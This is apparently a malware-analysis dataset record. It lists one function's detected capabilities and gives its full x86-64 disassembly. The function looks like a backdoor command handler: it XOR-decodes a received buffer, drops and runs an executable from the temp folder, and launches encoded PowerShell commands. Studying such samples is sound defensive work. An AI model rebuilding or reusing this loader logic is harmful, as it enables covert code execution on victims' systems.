Function at 0x140005410
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push r13
push r14
lea rbp, [rsp - 0x1318]
mov eax, 0x1418
call fcn.140010550
sub rsp, rax
mov rax, qword [0x1400190a8]
xor rax, rsp
mov qword [rbp + 0x12f0], rax
mov dword [rsp + 0x60], edx
mov r14, rcx
mov qword [rbp - 0x78], rcx
call fcn.140006f60
mov rdx, qword [rcx + 0x10]
mov r9d, 4
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x140005499
cmp qword [r14 + 0x18], 0x10
jb 0x140005480
mov rcx, qword [r14]
call fcn.140007ca4
xor ebx, ebx
mov qword [r14 + 0x18], 0xf
or eax, 0xffffffff
mov qword [r14 + 0x10], rbx
mov byte [r14], bl
jmp 0x14000582b
cmp qword [r14 + 0x18], 0x10
jb 0x1400054a5
mov rdx, qword [r14]
jmp 0x1400054a8
mov rdx, r14
mov r8, qword [r14 + 0x10]
mov qword [rsp + 0x1450], rsi
mov rcx, rax
mov qword [rsp + 0x1410], rdi
mov qword [rsp + 0x1408], r12
call fcn.140007970
mov rdx, qword [r13]
mov ecx, 2
mov qword [rsp + 0x70], rdx
call qword [sym.imp.WS2_32.dll_ntohl]
cmp dword [rsp + 0x74], eax
jne 0x1400064b1
mov ecx, dword [rsp + 0x70]
lea rdi, [r13 + 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov r9d, 0x40
mov r8d, 0x1000
lea ebx, [rax - 8]
xor ecx, ecx
mov r12d, ebx
mov edx, ebx
mov qword [rsp + 0x68], r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1400064b1
mov qword [rsp + 0x1400], r15
test ebx, ebx
je 0x140005551
mov rcx, rax
sub rdi, rax
mov edx, r12d
nop word [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
xor al, 0x2f
dec rdx
mov byte [rcx - 1], al
jne 0x140005540
xor ebx, ebx
xor r8d, r8d
mov qword [rbp + 0x78], 0xf
mov edx, r8d
mov qword [rbp + 0xc8], 0xf
mov qword [rbp + 0xa0], 0xf
mov qword [rbp + 0x70], rbx
mov byte [rbp + 0x60], bl
mov qword [rbp + 0xc0], rbx
mov dword [rsp + 0x50], edx
mov byte [rbp + 0xb0], bl
mov qword [rbp + 0x98], rbx
mov byte [rbp + 0x88], bl
mov qword [rbp + 0x50], 7
mov qword [rbp + 0x48], rbx
mov word [rbp + 0x38], bx
mov r15d, ebx
mov r14d, ebx
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x70], r8
mov rdi, rsi
nop
test rdi, rdi
je 0x14000565a
lea r13, [r12 + rsi]
lea rax, [rdi + 8]
cmp rax, r13
ja 0x14000565a
cmp rdi, rsi
jb 0x14000565a
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 4]
mov r12d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, 0x104d2
jne 0x140005602
test r15d, r15d
je 0x14000561c
inc r15d
mov r8, qword [rsp + 0x58]
mov edx, dword [rsp + 0x50]
add r14d, r12d
add rdi, r12
mov r12, qword [rsp + 0x68]
test ebx, ebx
je 0x1400055c0
jmp 0x14000565a
lea rax, [rdi + r12]
cmp rax, r13
ja 0x140005651
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, r14d
mov ebx, 1
lea edx, [rax - 8]
lea r8, [rcx + rsi + 8]
mov dword [rsp + 0x50], edx
mov qword [rsp + 0x58], r8
jmp 0x14000560b
mov edx, dword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov r14, qword [rbp - 0x78]
test ebx, ebx
mov eax, 0x490
mov ebx, 0
cmovne eax, ebx
test eax, eax
jne 0x140005683
test edx, edx
je 0x14000567e
lea eax, [rdx - 1]
cmp byte [rax + r8], bl
jne 0x140005683
mov r9, r8
jmp 0x140005686
mov r9, rbx
xor eax, eax
mov rdi, r9
or r13, 0xffffffffffffffff
mov rcx, r13
mov rdx, r9
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0x38]
call fcn.140006990
movsxd rdx, dword [rsp + 0x60]
cmp qword [rbp + 0x50], 8
lea rax, [rdx + rdx*4]
lea rcx, [0x14001c7c0]
lea rdx, [rbp + 0x38]
cmovae rdx, qword [rbp + 0x38]
cmp qword [rcx + rax*8 + 0x18], 8
mov r9, qword [rcx + rax*8 + 0x10]
lea rdi, [rcx + rax*8]
jb 0x1400056dc
mov rcx, qword [rdi]
jmp 0x1400056df
mov rcx, rdi
mov r12, qword [rbp + 0x48]
cmp r9, r12
mov r8, r12
cmovb r8, r9
test r8, r8
je 0x14000570b
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x140005848
add rcx, 2
add rdx, 2
dec r8
jne 0x1400056f2
mov r8d, ebx
movsxd rax, r8d
test r8d, r8d
jne 0x140005724
cmp r9, r12
jb 0x14000585a
mov eax, ebx
setne al
test eax, eax
jne 0x14000585a
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp - 0x70]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp qword [rbp + 0x50], 8
jb 0x14000575f
mov rcx, qword [rbp + 0x38]
call fcn.140007ca4
cmp qword [rbp + 0xa0], 0x10
mov qword [rbp + 0x50], 7
mov qword [rbp + 0x48], rbx
mov word [rbp + 0x38], bx
jb 0x140005785
mov rcx, qword [rbp + 0x88]
call fcn.140007ca4
cmp qword [rbp + 0xc8], 0x10
mov qword [rbp + 0xa0], 0xf
mov qword [rbp + 0x98], rbx
mov byte [rbp + 0x88], bl
jb 0x1400057b3
mov rcx, qword [rbp + 0xb0]
call fcn.140007ca4
cmp qword [rbp + 0x78], 0x10
mov qword [rbp + 0xc8], 0xf
mov qword [rbp + 0xc0], rbx
mov byte [rbp + 0xb0], bl
jb 0x1400057db
mov rcx, qword [rbp + 0x60]
call fcn.140007ca4
cmp qword [r14 + 0x18], 0x10
mov qword [rbp + 0x78], 0xf
mov qword [rbp + 0x70], rbx
mov byte [rbp + 0x60], bl
jb 0x1400057f9
mov rcx, qword [r14]
call fcn.140007ca4
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], rbx
mov eax, r13d
mov byte [r14], bl
mov r15, qword [rsp + 0x1400]
mov rdi, qword [rsp + 0x1410]
mov rsi, qword [rsp + 0x1450]
mov r12, qword [rsp + 0x1408]
mov rcx, qword [rbp + 0x12f0]
xor rcx, rsp
call fcn.1400077a0
add rsp, 0x1418
pop r14
pop r13
pop rbx
pop rbp
ret
cmp word [rcx], ax
mov r8d, 1
cmovb r8d, r13d
jmp 0x14000570e
cmp r12, 0xffffffffffffffff
lea rax, [rbp + 0x38]
mov rcx, rdi
cmova r12, r13
mov rdx, r12
cmp rdi, rax
jne 0x140005888
mov r8, r13
call fcn.140006af0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.140006af0
jmp 0x1400058cd
call fcn.140006b90
test al, al
je 0x1400058cd
cmp qword [rbp + 0x50], 8
lea rdx, [rbp + 0x38]
cmovae rdx, qword [rbp + 0x38]
cmp qword [rdi + 0x18], 8
jb 0x1400058ab
mov rcx, qword [rdi]
jmp 0x1400058ae
mov rcx, rdi
lea r13, [r12 + r12]
mov r8, r13
call fcn.140007970
cmp qword [rdi + 0x18], 8
mov qword [rdi + 0x10], r12
jb 0x1400058c8
mov rdi, qword [rdi]
mov word [rdi + r13], bx
xor edx, edx
mov r15d, ebx
mov dword [rsp + 0x50], ebx
mov ecx, ebx
mov dword [rsp + 0x60], ebx
mov rdi, rsi
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x70], rdx
nop dword [rax]
test rdi, rdi
je 0x140005987
mov r13, qword [rsp + 0x68]
lea rax, [rdi + 8]
add r13, rsi
cmp rax, r13
ja 0x140005987
cmp rdi, rsi
jb 0x140005987
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 4]
mov r12d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, 0x804d1
jne 0x140005932
test r15d, r15d
je 0x14000594c
inc r15d
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x60]
add dword [rsp + 0x50], r12d
add rdi, r12
test ecx, ecx
je 0x1400058f0
movsx eax, byte [rdx]
jmp 0x140005992
lea rax, [rdi + r12]
cmp rax, r13
ja 0x14000597e
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edx, dword [rsp + 0x50]
mov dword [rsp + 0x60], 1
lea rdx, [rdx + rsi + 8]
mov qword [rsp + 0x58], rdx
jmp 0x140005937
mov ecx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
test ecx, ecx
je 0x140005990
movsx eax, byte [rdx]
jmp 0x140005992
mov eax, ebx
test eax, eax
mov r15d, ebx
mov dword [rsp + 0x60], ebx
setne byte [rsp + 0x64]
xor edx, edx
mov ecx, ebx
mov dword [rsp + 0x54], ebx
mov rdi, rsi
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x70], rdx
mov eax, edx
mov dword [rsp + 0x50], edx
nop dword [rax + rax]
test rdi, rdi
je 0x140005a6b
mov r13, qword [rsp + 0x68]
lea rax, [rdi + 8]
add r13, rsi
cmp rax, r13
ja 0x140005a67
cmp rdi, rsi
jb 0x140005a67
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 4]
mov r12d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, 0x404ce
jne 0x140005a0a
test r15d, r15d
je 0x140005a25
inc r15d
mov rdx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
add dword [rsp + 0x60], r12d
add rdi, r12
test ecx, ecx
je 0x1400059c0
jmp 0x140005a6f
lea rax, [rdi + r12]
cmp rax, r13
ja 0x140005a5e
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rsp + 0x60]
mov dword [rsp + 0x54], 1
lea rdx, [rcx + rsi + 8]
sub eax, 8
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x50], eax
jmp 0x140005a13
mov ecx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x50]
test ecx, ecx
je 0x140005a7b
lea rcx, [rbp + 0x60]
mov r8d, eax
call fcn.140006790
xor r8d, r8d
mov r15d, ebx
mov r14d, ebx
mov edx, r8d
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x70], r8
mov dword [rsp + 0x50], edx
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rsp + 0x68]
test rdi, rdi
je 0x140005b3f
lea r13, [r9 + rsi]
lea rax, [rdi + 8]
cmp rax, r13
ja 0x140005b3f
cmp rdi, rsi
jb 0x140005b3f
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 4]
mov r12d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, 0x104cf
jne 0x140005ae7
test r15d, r15d
je 0x140005afc
inc r15d
mov r8, qword [rsp + 0x58]
mov edx, dword [rsp + 0x50]
add r14d, r12d
add rdi, r12
test ebx, ebx
je 0x140005aa0
jmp 0x140005b3a
lea rax, [rdi + r12]
cmp rax, r13
ja 0x140005b31
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, r14d
mov ebx, 1
lea edx, [rax - 8]
lea r8, [rcx + rsi + 8]
mov dword [rsp + 0x50], edx
mov qword [rsp + 0x58], r8
jmp 0x140005af0
mov edx, dword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x68]
test ebx, ebx
mov eax, 0x490
mov ebx, 0
cmovne eax, ebx
test eax, eax
jne 0x140005c73
test edx, edx
je 0x140005b67
lea eax, [rdx - 1]
cmp byte [rax + r8], bl
jne 0x140005c73
test r8, r8
je 0x140005c73
xor r8d, r8d
mov r15d, ebx
mov r14d, ebx
mov edx, r8d
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x70], r8
mov dword [rsp + 0x50], edx
mov rdi, rsi
nop dword [rax]
test rdi, rdi
je 0x140005c2a
lea r13, [r9 + rsi]
lea rax, [rdi + 8]
cmp rax, r13
ja 0x140005c2a
cmp rdi, rsi
jb 0x140005c2a
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 4]
mov r12d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, 0x104cf
jne 0x140005bd2
test r15d, r15d
je 0x140005bec
inc r15d
mov r8, qword [rsp + 0x58]
mov edx, dword [rsp + 0x50]
mov r9, qword [rsp + 0x68]
add r14d, r12d
add rdi, r12
test ebx, ebx
je 0x140005b90
jmp 0x140005c2a
lea rax, [rdi + r12]
cmp rax, r13
ja 0x140005c21
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, r14d
mov ebx, 1
lea edx, [rax - 8]
lea r8, [rcx + rsi + 8]
mov dword [rsp + 0x50], edx
mov qword [rsp + 0x58], r8
jmp 0x140005bdb
mov edx, dword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
test ebx, ebx
mov eax, 0x490
mov ebx, 0
cmovne eax, ebx
test eax, eax
jne 0x140005c4f
test edx, edx
je 0x140005c4a
lea eax, [rdx - 1]
cmp byte [rax + r8], bl
jne 0x140005c4f
mov r9, r8
jmp 0x140005c52
mov r9, rbx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r9
repne scasb al, byte [rdi]
mov rdx, r9
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0xb0]
call fcn.140006790
xor r8d, r8d
mov r15d, ebx
mov r14d, ebx
mov edx, r8d
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x70], r8
mov dword [rsp + 0x50], edx
mov rdi, rsi
mov r9, qword [rsp + 0x68]
test rdi, rdi
je 0x140005d2f
lea r13, [r9 + rsi]
lea rax, [rdi + 8]
cmp rax, r13
ja 0x140005d2f
cmp rdi, rsi
jb 0x140005d2f
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 4]
mov r12d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, 0x104d0
jne 0x140005cd7
test r15d, r15d
je 0x140005cec
inc r15d
mov r8, qword [rsp + 0x58]
mov edx, dword [rsp + 0x50]
add r14d, r12d
add rdi, r12
test ebx, ebx
je 0x140005c90
jmp 0x140005d2a
lea rax, [rdi + r12]
cmp rax, r13
ja 0x140005d21
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, r14d
mov ebx, 1
lea edx, [rax - 8]
lea r8, [rcx + rsi + 8]
mov dword [rsp + 0x50], edx
mov qword [rsp + 0x58], r8
jmp 0x140005ce0
mov edx, dword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x68]
mov r14, qword [rbp - 0x78]
test ebx, ebx
mov eax, 0x490
mov ebx, 0
cmovne eax, ebx
test eax, eax
jne 0x140005e6b
test edx, edx
je 0x140005d5b
lea eax, [rdx - 1]
cmp byte [rax + r8], bl
jne 0x140005e6b
test r8, r8
je 0x140005e6b
xor edx, edx
mov r15d, ebx
mov r14d, ebx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x70], rdx
mov eax, edx
mov dword [rsp + 0x50], edx
mov ebx, edx
mov rdi, rsi
test rdi, rdi
je 0x140005e1b
lea r13, [r9 + rsi]
lea rax, [rdi + 8]
cmp rax, r13
ja 0x140005e17
cmp rdi, rsi
jb 0x140005e17
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi + 4]
mov r12d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, 0x104d0
jne 0x140005dc3
test r15d, r15d
je 0x140005ddd
inc r15d
mov rdx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x50]
mov r9, qword [rsp + 0x68]
add r14d, r12d
add rdi, r12
test ebx, ebx
je 0x140005d81
jmp 0x140005e1b
lea rax, [rdi + r12]
cmp rax, r13
ja 0x140005e12
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, r14d
mov ebx, 1
lea rdx, [rcx + rsi + 8]
sub eax, 8
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x50], eax
jmp 0x140005dcc
mov rdx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x50]
mov r14, qword [rbp - 0x78]
test ebx, ebx
mov ecx, 0x490
mov ebx, 0
cmovne ecx, ebx
test ecx, ecx
jne 0x140005e42
test eax, eax
je 0x140005e3d
dec eax
cmp byte [rax + rdx], bl
jne 0x140005e42
mov r9, rdx
jmp 0x140005e45
mov r9, rbx
or r12, 0xffffffffffffffff
xor eax, eax
mov rdi, r9
mov rcx, r12
mov rdx, r9
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0x88]
call fcn.140006790
jmp 0x140005e6f
or r12, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp - 0x70]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp qword [rbp + 0x70], 0
je 0x140005fbb
lea rdx, [rbp + 0xe0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0xe0]
lea rdx, [0x1400167e0]
lea rcx, [rbp + 0xe0]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0xe0]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005f40
cmp qword [rbp + 0x78], 0x10
mov r8d, dword [rbp + 0x70]
lea rdx, [rbp + 0x60]
cmovae rdx, qword [rbp + 0x60]
lea r9, [rsp + 0x54]
mov rcx, rax
mov dword [rsp + 0x54], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rbp - 0x60]
lea r8d, [rdx + 0x68]
call fcn.14000b6a0
lea rax, [rsp + 0x70]
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x40
mov dword [rbp - 0x24], 1
mov word [rbp - 0x20], bx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400063ed
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400063ed
mov rdi, qword [rbp + 0xc0]
test rdi, rdi
je 0x140006319
call fcn.140006f60
xor edx, edx
lea rcx, [rbp - 0x58]
lea r8d, [rdx + 0x60]
call fcn.14000b6a0
xor eax, eax
cmp rdi, 0xffffffffffffffff
cmova rdi, r12
lea rcx, [rbp + 0x10]
mov dword [rbp - 0x60], 0x68
mov rdx, rdi
mov dword [rbp - 0x24], 1
mov word [rbp - 0x20], bx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x28], 0xf
mov qword [rbp + 0x20], rbx
mov byte [rbp + 0x10], al
call fcn.140001120
test al, al
je 0x14000606b
cmp qword [rbp + 0xc8], 0x10
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0xb0]
cmp qword [rbp + 0x28], 0x10
mov r8, rdi
cmovae rcx, qword [rbp + 0x10]
call fcn.140007970
cmp qword [rbp + 0x28], 0x10
lea rax, [rbp + 0x10]
cmovae rax, qword [rbp + 0x10]
mov qword [rbp + 0x20], rdi
mov byte [rdi + rax], 0
cmp qword [rbp + 0x20], 0x1000
jbe 0x14000615e
cmp qword [rbp + 0x28], 0x10
jb 0x140006089
mov rcx, qword [rbp + 0x10]
call fcn.140007ca4
cmp qword [rbp + 0x50], 8
mov qword [rbp + 0x28], 0xf
mov qword [rbp + 0x20], rbx
mov byte [rbp + 0x10], 0
jb 0x1400060a9
mov rcx, qword [rbp + 0x38]
call fcn.140007ca4
cmp qword [rbp + 0xa0], 0x10
mov qword [rbp + 0x50], 7
mov qword [rbp + 0x48], rbx
mov word [rbp + 0x38], bx
jb 0x1400060cf
mov rcx, qword [rbp + 0x88]
call fcn.140007ca4
cmp qword [rbp + 0xc8], 0x10
mov qword [rbp + 0xa0], 0xf
mov qword [rbp + 0x98], rbx
mov byte [rbp + 0x88], 0
jb 0x1400060fe
mov rcx, qword [rbp + 0xb0]
call fcn.140007ca4
cmp qword [rbp + 0x78], 0x10
mov qword [rbp + 0xc8], 0xf
mov qword [rbp + 0xc0], rbx
mov byte [rbp + 0xb0], 0
jb 0x140006127
mov rcx, qword [rbp + 0x60]
call fcn.140007ca4
cmp qword [r14 + 0x18], 0x10
mov qword [rbp + 0x78], 0xf
mov qword [rbp + 0x70], rbx
mov byte [rbp + 0x60], 0
jb 0x140006146
mov rcx, qword [r14]
call fcn.140007ca4
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], rbx
mov eax, r12d
mov byte [r14], 0
jmp 0x14000580b
lea rcx, [rbp + 0x2f1]
xor edx, edx
mov r8d, 0xfff
call fcn.14000b6a0
mov eax, dword [0x140016800]
cmp qword [rbp + 0x28], 0x10
movups xmm0, xmmword [str.powershell__encodedcommand]
movsd xmm1, qword [0x1400167f8]
mov dword [rbp + 0x308], eax
lea rdx, [rbp + 0x10]
lea rdi, [rbp + 0x2f0]
movaps xmmword [rbp + 0x2f0], xmm0
movsd qword [rbp + 0x300], xmm1
cmovae rdx, qword [rbp + 0x10]
xor eax, eax
mov rcx, r12
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400061c0
lea rax, [rsp + 0x70]
lea rdx, [rbp + 0x2f0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140006232
cmp qword [rbp + 0x28], 0x10
jb 0x14000621d
mov rcx, qword [rbp + 0x10]
call fcn.140007ca4
mov qword [rbp + 0x28], 0xf
mov qword [rbp + 0x20], rbx
mov byte [rbp + 0x10], 0
jmp 0x1400063ed
cmp qword [rbp + 0x28], 0x10
jb 0x140006242
mov rcx, qword [rbp + 0x10]
call fcn.140007ca4
cmp qword [rbp + 0x50], 8
mov qword [rbp + 0x28], 0xf
mov qword [rbp + 0x20], rbx
mov byte [rbp + 0x10], 0
jb 0x140006262
mov rcx, qword [rbp + 0x38]
call fcn.140007ca4
cmp qword [rbp + 0xa0], 0x10
mov qword [rbp + 0x50], 7
mov qword [rbp + 0x48], rbx
mov word [rbp + 0x38], bx
jb 0x140006288
mov rcx, qword [rbp + 0x88]
call fcn.140007ca4
cmp qword [rbp + 0xc8], 0x10
mov qword [rbp + 0xa0], 0xf
mov qword [rbp + 0x98], rbx
mov byte [rbp + 0x88], 0
jb 0x1400062b7
mov rcx, qword [rbp + 0xb0]
call fcn.140007ca4
cmp qword [rbp + 0x78], 0x10
mov qword [rbp + 0xc8], 0xf
mov qword [rbp + 0xc0], rbx
mov byte [rbp + 0xb0], 0
jb 0x1400062e0
mov rcx, qword [rbp + 0x60]
call fcn.140007ca4
cmp qword [r14 + 0x18], 0x10
mov qword [rbp + 0x78], 0xf
mov qword [rbp + 0x70], rbx
mov byte [rbp + 0x60], 0
jb 0x1400062ff
mov rcx, qword [r14]
call fcn.140007ca4
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], rbx
mov eax, 0xfffffffe
mov byte [r14], 0
jmp 0x14000580b
cmp byte [rsp + 0x64], 0
je 0x140006333
call fcn.140006f60
call fcn.140006f80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdi, qword [rbp + 0x98]
test rdi, rdi
je 0x1400063ed
call fcn.140006f60
cmp rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x10]
cmova rdi, r12
mov qword [rbp + 0x28], 0xf
mov qword [rbp + 0x20], rbx
mov rdx, rdi
mov byte [rbp + 0x10], 0
call fcn.140001120
test al, al
je 0x1400063b3
cmp qword [rbp + 0xa0], 0x10
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0x88]
cmp qword [rbp + 0x28], 0x10
mov r8, rdi
cmovae rcx, qword [rbp + 0x10]
call fcn.140007970
cmp qword [rbp + 0x28], 0x10
lea rax, [rbp + 0x10]
cmovae rax, qword [rbp + 0x10]
mov qword [rbp + 0x20], rdi
mov byte [rax + rdi], 0
cmp qword [rbp + 0x28], 0x10
lea rcx, [rbp + 0x10]
cmovae rcx, qword [rbp + 0x10]
call fcn.140007dac
mov ecx, dword [0x14001c7b4]
imul eax, eax, 0x3e8
cmp eax, ecx
cmovg eax, ecx
cmp qword [rbp + 0x28], 0x10
mov dword [0x14001c7b0], eax
jb 0x1400063ed
mov rcx, qword [rbp + 0x10]
call fcn.140007ca4
cmp qword [rbp + 0x50], 8
jb 0x1400063fd
mov rcx, qword [rbp + 0x38]
call fcn.140007ca4
cmp qword [rbp + 0xa0], 0x10
mov word [rbp + 0x38], bx
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], 7
jb 0x140006423
mov rcx, qword [rbp + 0x88]
call fcn.140007ca4
cmp qword [rbp + 0xc8], 0x10
mov byte [rbp + 0x88], 0
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], 0xf
jb 0x140006452
mov rcx, qword [rbp + 0xb0]
call fcn.140007ca4
cmp qword [rbp + 0x78], 0x10
mov byte [rbp + 0xb0], 0
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], 0xf
jb 0x14000647b
mov rcx, qword [rbp + 0x60]
call fcn.140007ca4
cmp qword [r14 + 0x18], 0x10
mov qword [rbp + 0x78], 0xf
mov qword [rbp + 0x70], rbx
mov byte [rbp + 0x60], 0
jb 0x14000649a
mov rcx, qword [r14]
call fcn.140007ca4
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], rbx
xor eax, eax
mov byte [r14], 0
jmp 0x14000580b
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp qword [r14 + 0x18], 0x10
jb 0x1400064d1
mov rcx, qword [r14]
call fcn.140007ca4
xor ebx, ebx
mov qword [r14 + 0x18], 0xf
xor eax, eax
mov qword [r14 + 0x10], rbx
mov byte [r14], bl
jmp 0x140005813